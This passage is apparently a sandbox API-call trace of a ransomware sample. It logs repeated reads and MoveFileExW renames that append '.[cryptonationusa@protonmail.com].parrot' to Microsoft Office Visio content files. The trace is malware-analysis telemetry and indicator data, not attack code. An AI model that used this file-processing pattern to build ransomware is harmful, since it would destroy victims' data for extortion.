"c:\\program files\\microsoft office\\office14\\visio content\\1033\\spwc_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0230.270] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0230.270] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0230.272] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.272] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fc00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1fc00, lpOverlapped=0x0) returned 1 [0230.278] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.284] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPWC_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spwc_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPWC_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spwc_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0230.293] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0230.293] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0230.294] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.295] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4e00, lpOverlapped=0x0) returned 1 [0230.297] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.298] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPWT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spwt_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPWT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spwt_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0230.303] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0230.303] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0230.310] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.310] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4e00, lpOverlapped=0x0) returned 1 [0230.311] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPWT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spwt_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPWT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spwt_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0230.316] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0230.316] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0230.318] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.318] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xea00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xea00, lpOverlapped=0x0) returned 1 [0230.320] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.324] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPW_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spw_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPW_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spw_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0230.331] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0230.331] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0230.334] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.334] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xea00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xea00, lpOverlapped=0x0) returned 1 [0230.337] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPW_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spw_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPW_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spw_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0230.348] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0230.348] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0230.349] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.349] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf200, lpOverlapped=0x0) returned 1 [0230.353] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.356] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SSFLOW_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ssflow_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SSFLOW_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ssflow_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0230.364] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0230.364] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0230.365] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.365] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xec00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xec00, lpOverlapped=0x0) returned 1 [0230.368] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.370] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SSFLOW_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ssflow_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SSFLOW_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ssflow_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0230.377] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0230.377] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0230.379] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.379] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa6600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa6600, lpOverlapped=0x0) returned 1 [0230.403] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.474] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SSHOQ_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sshoq_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SSHOQ_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sshoq_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0230.484] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0230.484] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0230.485] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.486] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa3200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa3200, lpOverlapped=0x0) returned 1 [0230.514] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.576] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SSHOQ_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sshoq_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SSHOQ_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sshoq_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0230.633] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0230.633] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0230.634] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.634] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3d400, lpOverlapped=0x0) returned 1 [0230.648] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SYMBOL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\symbol_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SYMBOL_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\symbol_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0230.670] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0230.670] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0230.672] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.672] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ae00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3ae00, lpOverlapped=0x0) returned 1 [0230.699] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.706] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SYMBOL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\symbol_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SYMBOL_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\symbol_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0230.715] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0230.715] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0230.717] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.717] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf200, lpOverlapped=0x0) returned 1 [0230.725] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.729] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELINE.MPP" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\timeline.mpp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELINE.MPP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\timeline.mpp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0230.786] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0230.786] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0230.789] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.789] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x99e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x99e00, lpOverlapped=0x0) returned 1 [0230.822] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.848] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELN_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\timeln_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELN_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\timeln_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0230.858] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0230.858] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0230.859] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.860] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xfe00, lpOverlapped=0x0) returned 1 [0230.866] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.870] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELN_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\timeln_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELN_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\timeln_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0230.879] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0230.879] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0230.881] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.881] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x98800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x98800, lpOverlapped=0x0) returned 1 [0230.903] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.927] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELN_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\timeln_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELN_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\timeln_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0230.937] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0230.937] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0230.939] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.939] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xfe00, lpOverlapped=0x0) returned 1 [0230.945] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.949] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELN_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\timeln_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELN_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\timeln_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.001] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.001] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.002] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.003] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2da00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2da00, lpOverlapped=0x0) returned 1 [0231.012] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.015] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TITLE_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\title_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TITLE_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\title_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.022] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.022] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.023] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.024] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2d000, lpOverlapped=0x0) returned 1 [0231.033] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.037] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TITLE_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio 